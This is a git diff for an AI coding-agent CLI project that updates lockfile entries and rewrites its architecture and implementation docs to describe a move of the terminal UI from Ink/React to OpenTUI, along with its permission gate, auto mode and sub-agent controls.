"node-which": "bin/which.js" } }, "sha512-GlaYyEb07DPxYCKhKzplCWBJtvxZcZMrL+4UkrTSJHHPyZU4mYYTv3qaOe77H7EODLSSopAUFAc6W8U4yqvscg=="], "which-typed-array": ["which-typed-array@1.1.21", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.9", "call-bound": "^1.0.4", "for-each": "^0.3.5", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-tostringtag": "^1.0.2" } }, "sha512-zbRA8cVm6io/d5W8uIe2hblzN76/Wm3v/yiythQvr+dpBWeqhPSWIDNj4zOyHi4zKbMK6DN34Xsr9jPHJERAEw=="], - "widest-line": ["widest-line@6.0.0", "", { "dependencies": { "string-width": "^8.1.0" } }, "sha512-U89AsyEeAsyoF0zVJBkG9zBgekjgjK7yk9sje3F4IQpXBJ10TF6ByLlIfjMhcmHMJgHZI4KHt4rdNfktzxIAMA=="], - - "wrap-ansi": ["wrap-ansi@10.0.0", "", { "dependencies": { "ansi-styles": "^6.2.3", "string-width": "^8.2.0", "strip-ansi": "^7.1.2" } }, "sha512-SGcvg80f0wUy2/fXES19feHMz8E0JoXv2uNgHOu4Dgi2OrCy1lqwFYEJz1BLbDI0exjPMe/ZdzZ/YpGECBG/aQ=="], - "wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="], "ws": ["ws@8.21.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g=="], - "yoga-layout": ["yoga-layout@3.2.1", "", {}, "sha512-0LPOt3AxKqMdFBZA3HBAt/t/8vIKq7VaQYbuA8WxCgung+p9TVyKRYdpvCb80HcdTN2NkbIKbhNwKUfm3tQywQ=="], + "yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="], "zod": ["zod@4.4.3", "", {}, "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ=="], "zod-to-json-schema": ["zod-to-json-schema@3.25.2", "", { "peerDependencies": { "zod": "^3.25.28 || ^4" } }, "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA=="], + "@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "@babel/helper-compilation-targets/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "@babel/helper-create-class-features-plugin/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "babel-plugin-jsx-dom-expressions/@babel/helper-module-imports": ["@babel/helper-module-imports@7.18.6", "", { "dependencies": { "@babel/types": "^7.18.6" } }, "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA=="], + "cross-spawn/which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="], - "react-devtools-core/ws": ["ws@7.5.11", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": "^5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-zS54Oen9bITtp7kp2XM3AydrCIq1D+HwJOuH+c+e4LfpL/lotP5osijd+UoMnxwAam1GN8R4KtLAyIrIcBNpiA=="], + "parse5/entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="], + + "path-scurry/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], + + "path-scurry/minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="], + + "string-width/strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], "type-is/content-type": ["content-type@2.0.0", "", {}, "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ=="], diff --git a/bunfig.toml b/bunfig.toml index 2f6e59dbc..81851a47a 100644 --- a/bunfig.toml +++ b/bunfig.toml @@ -1,4 +1,5 @@ [test] +preload = ["./tests/preload.ts"] pathIgnorePatterns = [ "tests/fixtures/**", "eval/tasks/**", diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index 638062b90..6b9a6124f 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -2,7 +2,7 @@ ## System Overview -The system is an event-driven agent loop with a custom reactor director. The CLI parses arguments, builds a `Config`, creates an agent with sandboxed tools and a `ChatDirector`, and consumes the event stream through an Ink-based TUI. The director layers chat semantics, compaction, and workflow coordination on the reactor's default behavior; tool-layer middleware (authorization, permission gate, verification) enforces hard constraints before tools run. Delegated work runs through a second, sub-agent director on the same loop. +The system is an event-driven agent loop with a custom reactor director. The CLI parses arguments, builds a `Config`, creates an agent with sandboxed tools and a `ChatDirector`, and consumes the event stream through an OpenTUI-based TUI. The director layers chat semantics, compaction, and workflow coordination on the reactor's default behavior; tool-layer middleware (authorization, permission gate, verification) enforces hard constraints before tools run. Delegated work runs through a second, sub-agent director on the same loop. ## The Reactor Loop @@ -51,18 +51,18 @@ In TUI chat mode there is no completion gate — the session stays open across t - `loadConfig` is async (it reads settings files). Parses a leading `exec`/`run` subcommand, flags `--cwd`, `--config`, `--provider`, `--model`, `--force`, `--dangerously-skip-permissions`, `--auto` / `--no-auto` (auto mode defaults on); collects positional arguments as the optional initial task for the TUI or the required prompt for exec. - Both settings files are on the secret-guard denylist for path-keyed tools, so the agent cannot `read_file` its own credentials. Shell commands that reference them still require explicit operator approval. -### TUI Runner (`src/tui/runner.tsx`) +### TUI Runner (`src/tui/runner.ts`) - Builds a chat-mode agent using the `ChatDirector` - Wires `ask_operator` to an operator-gate event resolved by a modal -- Drives the terminal alternate-screen buffer manually (Ink 7 has no alt-screen option) and renders the Ink app -- Bridges reactor events to React via an `EventEmitter` +- Mounts the OpenTUI host via `mountRunnerHost` (`src/tui-opentui/runner-host.ts`), which mounts `mountProductHost` (`src/tui-opentui/product-host.ts`) over the shell (`src/tui-opentui/shell.ts`) +- Bridges reactor events to the OpenTUI host via a plain `EventEmitter` - **Mid-run injection** — When a message arrives while the agent is running, it is queued in an `InjectionQueue`. On the next `inference.done` event (turn boundary), the queue is drained: each queued message is delivered via `agentProxy.deliver()` and a `"mid-run.delivered"` emitter event is fired so the badge count in the App updates. The queue is cleared on session rotation (`/clear`). - **Session rotation** — Uses a serial session-operation queue (`createSessionOperationQueue`, not a boolean flag) so rotation, compaction continuation, and `agentProxy.deliver` never race a concurrent rebuild. Each operation chains onto the tail, ensuring in-flight work completes before the agent is torn down. ### Exec Runner (`src/exec/runner.ts`) -- Product non-TUI agent path that **shares** the TUI stack (session mode, ChatDirector, toolset, permission gate, MCP, plugins, hooks, run-sink) without Ink +- Product non-TUI agent path that **shares** the TUI stack (session mode, ChatDirector, toolset, permission gate, MCP, plugins, hooks, run-sink) without the OpenTUI shell - Bootstrap is intentionally a **forked copy** of the TUI path (not a shared factory yet). Intentional deltas vs TUI: - No workflow controller (`isWorkflowActive` is always false) - No goal governor / multi-turn goal loop (single primary `send`) @@ -82,7 +82,7 @@ In TUI chat mode there is no completion gate — the session stays open across t Two directors, selected by role: -- **ChatDirector** (interactive, `src/agent/director.ts`) — Extends `DefaultDirector` with task list tracking, workflow nudges, LSP auto-activation, multi-turn chat semantics, and an optional **goal governor** (session-scoped auto-continue until every acceptance criterion is done). It never terminates the session: operator declines are surfaced as replies and the reactor stays alive for the next message. SHIFT+TAB toggles **auto mode** (default on; constrained envelope — workspace writes and unconstrained shell auto-allow; installs, recursive rm, worktree changes, sensitive-path and opaque-wrapper shell still ask; shell file-mutation denied). It is not a separate edit/plan mode. +- **ChatDirector** (interactive, `src/agent/director.ts`) — Extends `DefaultDirector` with task list tracking, workflow nudges, LSP auto-activation, multi-turn chat semantics, and an optional **goal governor** (session-scoped auto-continue until every acceptance criterion is done). It never terminates the session: operator declines are surfaced as replies and the reactor stays alive for the next message. Auto mode is toggled by CLI flags (`--auto` / `--no-auto`); there is currently no in-session key to toggle it (default on; constrained envelope — workspace writes and unconstrained shell auto-allow; installs, recursive rm, worktree changes, sensitive-path and opaque-wrapper shell still ask; shell file-mutation denied). It is not a separate edit/plan mode. - **SubAgentDirector** (delegated work, `src/subagent/index.ts`) — Drives a dispatched worker until a turn arrives with no tool calls, then replies with the final assistant text and ends the run. A tool-less completion with **zero tool calls in the entire run** is returned as a **never-acted** salvage report (not a successful implement); explore/read-only workers that used tools then replied with findings remain normal completes. Hard stops also fire after 2 consecutive identical tool-call fingerprints (**no-progress**), on progressive re-read pressure (**thrash** — the same path re-read past a limit amid enough tool volume, tracked by `src/subagent/thrash.ts`), or after the leaf turn budget (**turn-budget**, default 30, overridable via `task(maxTurns)`, agent profile `maxTurns`, or `settings.subagentMaxTurns`, capped at 100), each returning a structured salvage report (reason, partial findings, blockers) so a thrashing child cannot burn tokens indefinitely. A fourth hard stop, **repetition**, is detected outside the director entirely: `runSubAgent`'s stream sink watches the streamed text of the in-flight cycle for degenerate token loops (`src/subagent/repetition.ts`) — whitespace-collapsed raw text, a smallest-period KMP check over the probe tail, default window >= 16 chars repeated >= 8 times, evaluated every 256 streamed chars — and on a hit aborts the run controller mid-cycle, returning a `repetition` salvage report that leads with the looped window and warns the parent against re-dispatching the identical brief. Because directors only see completed turns, this is the only stop that can catch a loop inside a single turn that never finishes. A one-shot **report-forced** signal fires a few turns before the cap while the leaf is still tooling — it is not a stop: the director injects a wrap-up nudge and lets the leaf finish on its own, so turn-budget stays reachable for a leaf still making progress. Operator/parent cancel after any progress likewise returns a **cancelled** salvage report (partial findings + tool activity) instead of a bare cancel string; cancel before progress still surfaces as cancelled-by-operator. Optional `task(tier=)` (`fast` | `standard` | `clever`) overrides profile inference, profile tier, and the parent provider for that spawn only, and fails closed when the tier is unconfigured. The parent `task` tool keeps a session-scoped brief-dispatch ledger (`src/subagent/brief-dispatch.ts`): fingerprints cover prompt + agent + intent + success_criteria + do_not (not maxTurns/description/tier). After thrash / no-progress / repetition / never-acted salvage, an identical re-dispatch is hard-blocked for the rest of the parent chat; change at least one fingerprint field to force a re-run. Turn-budget salvage still invites a higher maxTurns for a few same-brief retries without a successful complete, then flips the parent hint to stop and change approach (soft — further identical dispatches are still admitted). A successful complete resets the same-brief retry budget. @@ -174,9 +174,9 @@ Profiles with `orchestrator: true` may themselves call `task` (one hop only): ne **Reasoning effort by role** (`src/provider/reasoning-effort.ts` → `resolveEffortForRole`): spawn-time defaults are orchestrator → `high`, leaf → `medium`, clamped to the model. Explicit profile inference pins win; parent session effort is only a fallback when the role default is unsupported. This keeps multi-agent fleets off the sol+high latency cliff — see `docs/plans/reasoning-effort-by-role.md`. -**Session records** (`src/subagent/session-store.ts`): each spawn is retained as an inspectable child session (id, profile, description, brief, status, tool activity, transcript entries). Child events land only in this store — not in the parent chat transcript. Live progress still uses the light `onProgress` channel for the status bar / Agents strip. Completed sessions are capped (`maxCompleted`) so a long chat does not grow without bound. +**Session records** (`src/subagent/session-store.ts`): each spawn is retained as an inspectable child session (id, profile, description, brief, status, tool activity, transcript entries). Child events land only in this store — not in the parent chat transcript. Live progress still uses the light `onProgress` channel for the status bar. Completed sessions are capped (`maxCompleted`) so a long chat does not grow without bound. -**Enter-session TUI** (`src/tui/components/agents-strip.tsx`, `subagent-session-view.tsx`): `Ctrl+E` opens Agents-strip navigation (↑/↓ select, Enter observe, `x`/Backspace cancel selected running worker, Esc leave nav). Entering a session swaps the main log for that child's transcript (live while running, historical when done/failed/cancelled) without stealing the parent reactor. Header chrome shows which agent is focused; Esc returns to the parent; `x` cancels the focused running worker. Parent Esc/stop and `/clear` call `cancelAll` so live children close (`agent.close`) instead of continuing after the parent stops. +**Observe (OpenTUI)**: the command palette's **observe** action (`src/tui-opentui/palette.ts`) asks the host for a live session (`onObserveRequest` → `observeSessionFromSubAgents`, `src/tui-opentui/runner-host.ts`), which picks the newest running child, else the most recent session of any status. Entering observe swaps the transcript for that child's stream (live while running, historical when done) without stealing the parent reactor; child events are mapped to stream rows by `src/tui-opentui/observe-map.ts`. Esc leaves observe and restores the parent transcript. Parent Esc/stop and `/clear` still call `cancelAll` so live children close (`agent.close`) instead of continuing after the parent stops. Data-only agent plugins (`src/plugins/data-only-agent.ts`) synthesize `agentPlugin.agents[]` from `agents/*.md` or flat `*.md` in the plugin directory, with optional co-located `skills/`. `loadPluginEntry` tries JS entrypoints first, then falls back to this layout (`/plugins` add-by-path supports filesystem completion via `listPathSuggestions`). @@ -262,50 +262,18 @@ tool call Approval scopes offered: Allow Once (persist nothing), Allow Always for a file or its directory (file tools), or a command shape (shell). There is intentionally no "all files" rung. -### TUI (`src/tui/`) +### TUI (`src/tui-opentui/`) -Ink 7 + React 19, full-screen via the alternate-screen buffer. +OpenTUI (`@opentui/core`) is the shipping shell; the Ink/React tree has been deleted from the repo. The runner (`src/tui/runner.ts`) mounts the host via `mountRunnerHost` (`src/tui-opentui/runner-host.ts`), which mounts `mountProductHost` (`src/tui-opentui/product-host.ts`) over the shell (`src/tui-opentui/shell.ts`). -- `app.tsx` — Root layout: pinned header, scrollable event log, chat input, status bar, and overlay modals. Owns keymap, gate/scroll state, and the mid-run message queue (`pendingQueueRef` + `queuedCount`): while `isProcessing`, **Alt+Enter** enqueues outbound messages and **Enter** steers via interrupt (see interrupt/queue steering below). The queue drains one message per `connector.reply` (end of a response cycle), skipping drain while status is `blocked` (permission/operator gates). The queue is cleared on session rotation (`/clear`, `/new`). SHIFT+TAB toggles auto mode through the permission gate (`onToggleAuto`); enabling shows a one-line envelope reminder. Plan handling is a separate approval gate (`use-gates`), not a mode. `@file` mentions in chat input are resolved to file contents before the message is sent to the agent. +- **Shell** (`shell.ts`) — Owns the transcript window, header, status line, prompt, overlay/palette stack, and layout/relayout (`applyLayout`, `relayout`). Transcript rows are appended via `appendStreamRow`/`appendObserveStreamRow`; focus moves between prompt and transcript via `applyFocus`/`toggleShellFocus`. +- **Product host** (`product-host.ts`) — Creates the `CliRenderer`, wires the event emitter bridge, model/command catalogs, and chrome pushes. +- **Runner host** (`runner-host.ts`) — Runner-facing mount: catalog assembly from live config, chrome pushes on session change, subagent observe resolution, and the quit key (`Ctrl+D`, since `Ctrl+C` is the shell's interrupt key). +- **Overlays and pickers** — Resume picker (`src/tui/pick-session.ts`) and session-mode prompt (`src/tui/session-mode-prompt.ts`) use `runListModal` (`src/tui-opentui/list-modal.ts`). Slash-command surfaces (`/model`, `/settings`, `/permissions`, `/plugins`, etc.) route through `openCommandSurface` (`src/tui-opentui/command-surfaces.ts`). +- **Auto mode** — Toggled by CLI flags only (`--auto` / `--no-auto`); there is currently no in-session key bound to it. +- `@file` mention resolution and image paste are not wired on the OpenTUI send path. - **Line cache** — `app.tsx` maintains a `Map` (keyed `blockId:expansion`) passed to `buildLines`. Completed blocks are cached; the last block (still streaming) is always recomputed. The cache is cleared when layout width or display options change. `buildLines` evicts entries for block IDs not in the current block list on every call, so manage_tasks/present splices do not accumulate orphaned entries. - -- `use-stream.ts` — Consumes `agent.stream()` events into typed content blocks and tracks turns/status/cost. **AgentStatus** is a 7-state machine: `"idle"` (not-yet-started or post-clear), `"running"`, `"stopping"`, `"stopped"`, `"blocked"` (awaiting operator), `"done"`, `"failed"`. Initial state and post-`/clear` state are both `"idle"` (not `"running"`), so the permission-gate refcount (`setGatePending`) correctly skips terminal and idle states. - - **Rate-limited renders** — Token events (`inference.text.delta`, `inference.thinking.delta`, `inference.tool_call.delta`) set a `pendingRenderRef` flag rather than calling `setTick` directly. A 33ms `setInterval` drains the flag, batching token renders to ~30fps. Structural events (status changes, turn boundaries, tool completions) bypass the drain and call `setTick` immediately so state transitions are never delayed. - -- **Interrupt and queue steering** (`chat-input.tsx`) — When `isProcessing` is true: - - **Enter** calls `onInterrupt(message)`, which synchronously calls `requestStop()` (aborting the in-flight HTTP request) before resolving `@file` mentions and sending. The abort-before-async ordering ensures no stale `connector.reply` can race the new turn. - - **Alt+Enter** calls `onSubmit(message)` immediately, queuing the message for delivery after the current response cycle completes. - - A hint line (`↵ interrupt · Alt+↵ queue`) is shown in the input area while processing and the queue is empty. - -- **Status bar** — Shows the working directory, model name, optional reasoning-effort suffix, terminal status, and the brand label. Token counts and cost display removed. - -- **Task view** — Compact rendering: shows only the current in-progress task plus a `(N done, M todo)` count suffix. No scrolling task list. - -- **In-flight indicator** — Spinner uses the `"live"` semantic color (calm blue) rather than the brand orange, reducing visual noise during long runs. - -- Hooks: `use-gates` (permission/plan/operator gates), `use-keymap`, `use-scroll`, `use-mouse-scroll`, `use-spinner`, `use-terminal-size`, `use-layout-geometry`, `use-mcp-status`, `use-provider-manager`. -- Components: `header`, `event-log`, `chat-input`, `status-bar`, `task-view`, `operator-modal`, `permission-modal`, `permissions-manager`, `plugins-manager`, `settings-overlay`, `agent-modal`, `exit-confirm`, `help-overlay`, `hook-panel`, `codex-login-modal`, `mcp-auth-prompt`, `onboarding-animation`, `in-flight-indicator`. -- Support: `stdin-filter.ts` (strips SGR mouse sequences before Ink parses input — see below), `tool-formatter.ts` (human-readable tool args/results), `markdown-parser.ts`, `keymap-table.ts`, `theme.ts` (semantic color roles including `dim` and `live`). -- Slash commands: `commands/registry.ts` (extensible registry) + `commands/built-in.ts` (`/help`, `/model`, `/settings`, `/permissions`, `/plugins`, `/clear`, `/new`, `/mcp`). There is no `/login` — connect providers from `/model` (Alt+A / c). -- `/model` configuration surface (`components/agent-modal.tsx`): a full-screen, section-based modal. **Default step is models-first** (Recent / Favorites / Providers via `buildModelsFirstList`); advanced provider drill-down remains on **a**. **Connect** lists first-class providers (OpenAI dual-path, xAI, Zen, Anthropic, Google, OpenCode Go, Z.AI, Custom); OAuth opens `codex-login-modal` / xAI login, API-key flows use an auth-only form and pre-seed models on save. OpenCode Go sources are built with per-model protocol routing (`buildGoSource` / `resolveGoEndpoint`) and a forced Go base URL when `opencodeGo` is set. "Set as default" persists the selection (selection-only, no credentials) to the per-repo `.corbits/settings.json` via `saveLocalSettings`. Recent/favorite model pairs persist in global settings. - -#### Event log rendering - -`event-log.tsx` renders the content block list to a flat `StyledLine[]` buffer; the viewport slices it by index. Notable rendering behaviors: - -- **Collapsed tool calls** — Non-danger tools render dimmed with a muted summary suffix. Danger-role tools (destructive shell, writes under risk paths) retain their role color when collapsed so they remain visually salient. -- **Thinking gutter** — When `thinkingExpanded` is true, thinking content lines are prefixed with `│ ` in the `dim` color, separating them visually from model output without requiring a header. -- **Block-level cache** — `buildLines` accepts an optional `Map` cache. Completed blocks are served from cache; only the streaming tail is recomputed per render tick. Individual log lines use a memoized `RenderedLine` component so padding/segment merge work is not repeated when only the viewport scroll offset changes. - -#### Input handling - -Ink reads stdin, parses it into string events, and broadcasts every event to *all* mounted `useInput` handlers. That broadcast model means an escape sequence not consumed by one handler leaks into another — in particular, SGR mouse tracking sequences (emitted on every terminal click, e.g. `ESC[<0;39;38M`) would surface as literal `[<...` text in whichever input is focused. - -Rather than filter per component, `stdin-filter.ts` (`createFilteredStdin`) wraps `process.stdin` and is passed to Ink's `render` via the `stdin` option. It proxies the stream, intercepting `read()` to strip all `ESC[<…M/m` sequences before Ink's parser sees them — so no component's `useInput` ever receives one. A sequence split across two `read()` calls is handled by holding back an incomplete trailing `ESC[<…` (the SGR private marker is unambiguous, so this never swallows a boundary-split Esc or arrow key) and prepending it to the next chunk. This depends on Ink 7 driving its input pipeline off `stdin.read()`; bytes Ink consumes via its transient Kitty-keyboard probe are `unshift`ed back and re-enter through `read()`, so they pass through the filter too. - -Mouse-wheel events are the one class of mouse input the UI acts on. Since they can no longer arrive through `useInput`, the filter detects wheel buttons (64 = up, 65 = down) and re-emits them as `scrollUp`/`scrollDown` on a dedicated `EventEmitter`. `use-mouse-scroll` subscribes to that emitter (and still owns enabling/disabling SGR mouse mode on the terminal). Bursts of wheel events within one frame are coalesced before updating scroll offset so rapid scrolling stays smooth. +Known keybindings: `Ctrl+D` quits; `Ctrl+C` interrupts the in-flight run. ### Skills (`src/extensions/skills.ts`) @@ -317,7 +285,7 @@ Skills are Markdown capability packages (`SKILL.md`) that the model loads on dem | Base directory | Source | |---|---| -| `/skills/` | Each enabled plugin that ships skills (`runner.tsx` includes only `pluginConfig[id].enabled`) | +| `/skills/` | Each enabled plugin that ships skills (`runner.ts` includes only `pluginConfig[id].enabled`) | | `.agents/skills/` | Shared across runtimes | | `.claude/skills/` | Claude Code workspace skills | | `.codex/skills/` | Codex workspace skills | @@ -339,14 +307,14 @@ There are no `type`, `argument-hint`, or `disable-model-invocation` fields — a `buildSkillsSection` lists each discovered skill as `- name: description` in the system prompt — descriptions only, so the prompt stays small regardless of how many skills exist. The full instructions enter context only when the model calls the `use_skill` core tool (`src/agent/use-skill.ts`) with a skill name; the handler calls `resolveSkillBody`, strips the frontmatter, and returns the body as the tool result. There is no slash-command surface and no operator-side injection — the model decides when a skill applies and loads it itself. -Which plugin skill directories are in scope is decided in `runner.tsx`, which passes the enabled plugins' dirs to both `discoverSkills` (for the listing) and the `use_skill` tool (for resolution). Project-local `.agents`/`.claude`/`.codex/skills` are always searched. +Which plugin skill directories are in scope is decided in `runner.ts`, which passes the enabled plugins' dirs to both `discoverSkills` (for the listing) and the `use_skill` tool (for resolution). Project-local `.agents`/`.claude`/`.codex/skills` are always searched. ## Data Flow ``` CLI argv → src/config/index.ts (Config) - → src/tui/runner.tsx (TUI) + → src/tui/runner.ts (TUI) → LoadState, LoadPricing, discover hooks → CreatePermissionGate → CreatePosixTools (plugin chain) @@ -356,7 +324,7 @@ CLI argv → agent.send(task) → src/session/stream-consumer.ts → sink → turnCollector.observe → postTurn hooks - → emit to React (TUI) + → emit to OpenTUI host (TUI) → saveState at session lifecycle points (initial write, progress snapshots on model/MCP/turn changes, and finalize on done/failed/cancelled) → (interactive) connector.reply → optional queue drain → next user turn diff --git a/docs/IMPLEMENTATION.md b/docs/IMPLEMENTATION.md index bcfe530c1..effa646a8 100644 --- a/docs/IMPLEMENTATION.md +++ b/docs/IMPLEMENTATION.md @@ -19,6 +19,10 @@ CLI binary: `corbits` (`./dist/index.js`). Version lives in `package.json` only. | `@intx/tools-posix` | workspace | `createPosixTools`, `ToolPlugin` middleware — sandboxed shell/file tools | | `@intx/types` | workspace | Runtime types (`ReactorDirector`, `ReactorState`, `ToolDefinition`, `ToolCall`, `ToolResult`, …) | | `@intx/storage-isogit` | workspace | Git-backed context persistence | +| `@opentui/core` | 0.5.1 | Terminal UI renderer | +| `@opentui/keymap` | 0.5.1 | OpenTUI keybinding support | +| `@opentui/solid` | 0.5.1 | Solid bindings for OpenTUI | +| `solid-js` | 1.9.14 | Reactive primitives used by the OpenTUI bindings | | `arktype` | catalog ^2.1.29 | Runtime validation | Other Interchange workspace packages (`@intx/inference-discovery`, `@intx/mime`, `@intx/log`, `@intx/crypto-node`) are pulled transitively via the above. @@ -29,11 +33,6 @@ Other Interchange workspace packages (`@intx/inference-discovery`, `@intx/mime`, |---|---|---| | `@intx/inference-testing` | workspace | Deterministic agent-loop test harness | | `@types/bun` | 1.3.9 | Bun types | -| `ink` | ^7.0.4 | Terminal UI framework | -| `react` | ^19.2.6 | TUI component model | -| `@types/react` | ^19.2.15 | React types | -| `ink-testing-library` | ^4.0.0 | TUI test utilities | -| `react-devtools-core` | ^7.0.1 | React devtools | | `ws` | ^8.21.0 | WebSocket support | | `typescript` | 5.9.3 | Type checking | | `typescript-language-server` | ^4.3.4 | TS/JS language server for the `lsp` tool (`bin/check-env` checks for it) | @@ -117,36 +116,33 @@ src/ file-mutation-lock.ts Serialize mutations per file for verify lsp-hint-plugin.ts TS/JS LSP setup hint on unavailable server tui/ - app.tsx Root full-screen layout - runner.tsx Chat-mode agent setup + Ink render (alt-screen) - use-stream.ts Event stream → React state (AgentStatus machine) + runner.ts Chat-mode agent setup; mounts the OpenTUI host + onboarding.ts First-run provider setup entry + pick-session.ts Resume picker (via runListModal) + session-mode-prompt.ts Session-mode prompt (via runListModal) + turns-to-blocks.ts Stored turns → typed content blocks (resume hydration) tool-formatter.ts Human-readable tool args/results markdown-parser.ts Markdown rendering - keymap-table.ts Keybindings theme.ts Colors commands/ registry.ts Extensible slash-command registry built-in.ts /help, /model, /settings, /permissions, /plugins, /clear, /new, /mcp (connect providers from /model) - components/ - header.tsx, event-log.tsx, chat-input.tsx, status-bar.tsx, task-view.tsx, - at-mention/, operator-modal.tsx, permission-modal.tsx, - permissions-manager.tsx, plugins-manager.tsx, settings-overlay.tsx, - agent-modal.tsx, exit-confirm.tsx, help-overlay.tsx, hook-panel.tsx, - codex-login-modal.tsx, mcp-auth-prompt.tsx, - onboarding-animation.tsx, in-flight-indicator.tsx, modal-stack.tsx - hooks/ - use-gates.ts, use-keymap.ts, use-layout-geometry.ts, use-mcp-status.ts, - use-mouse-scroll.ts, use-provider-manager.ts, - use-scroll.ts, use-spinner.ts, use-terminal-size.ts - stdin-filter.ts Strips SGR mouse sequences before Ink parses input + tui-opentui/ + shell.ts Transcript, header, status line, prompt, overlays + product-host.ts Creates the CliRenderer, wires the event bridge + runner-host.ts Runner-facing mount: catalogs, chrome, quit key + list-modal.ts Shared list-picker overlay (runListModal) + command-surfaces.ts Slash-command surface routing (openCommandSurface) + command-catalog.ts, model-catalog.ts, chrome-state.ts, palette.ts, + provider-setup.ts Onboarding provider setup flow docs/ PRODUCT.md, ARCHITECTURE.md, IMPLEMENTATION.md, HOOKS.md, MCP.md, PLUGINS.md ``` ### Auto Mode -Auto mode defaults **on** (`config.auto = true` from `loadConfig`; pass `--no-auto` to start off, or `--auto` to force on). SHIFT+TAB (wired through `use-keymap`'s `cycleMode` action to `onToggleAuto` in `src/tui/app.tsx`) toggles it for the rest of the session; enabling prints a one-line envelope reminder via `commandMessage`. The permission gate reads the flag (`getAuto`/`setAuto` in `src/permission/gate.ts`) on the next tool call. +Auto mode defaults **on** (`config.auto = true` from `loadConfig`; pass `--no-auto` to start off, or `--auto` to force on). It is toggled only via those CLI flags — there is currently no in-session key bound to it. The permission gate reads the flag (`getAuto`/`setAuto` in `src/permission/gate.ts`) on the next tool call. When auto is on, the gate auto-allows workspace file tools in `AUTO_ALLOWED_TOOLS` and any `run_shell` that does not match the auto-shell policy. The policy (`autoShellRuleForCall` / `AUTO_SHELL_RULES` in `src/permission/auto-shell-policy.ts`) peels wrappers via `expandShellSubjects` (`bash`/`sh`/`zsh -c`, `xargs`, transparent prefixes), then applies: @@ -167,11 +163,11 @@ Plan approval is handled separately by `use-gates` (`pendingPlan`), independent - **Enter** calls `onInterrupt`. `App.handleInterrupt` calls `requestStop()` synchronously — which calls `sendAbortRef.current.abort()` — before `resolveAtMentions` yields, ensuring the abort signal reaches the in-flight HTTP request before any async work begins. - **Alt+Enter** calls `onSubmit` immediately, pushing the message onto `pendingQueueRef` for drain at the next `connector.reply`. -Token event batching in `use-stream.ts`: `TOKEN_EVENTS` (`inference.text.delta`, `inference.thinking.delta`, `inference.tool_call.delta`) set `pendingRenderRef.current = true`; a 33ms `setInterval` converts pending flags into `setTick` calls. All other events call `setTick` directly. +`src/tui-opentui/stream-event-map.ts` maps reactor events onto the bridge's inbound events, and `src/tui-opentui/turn-state.ts` tracks the turn's status. `src/tui/turns-to-blocks.ts` hydrates a resumed session's stored turns into the same content blocks. ### @file Mention Resolution -`@` tokens in chat input are resolved to file contents before delivery to the agent. `resolveAtMentions` (in `app.tsx`) scans the submitted text for `@` patterns, resolves each against the workspace (blocking absolute paths, `..` escapes, and sensitive files), and inlines file contents as fenced code blocks or directory summaries. Unresolvable paths pass through as a short inline warning so the agent knows the mention could not be expanded. 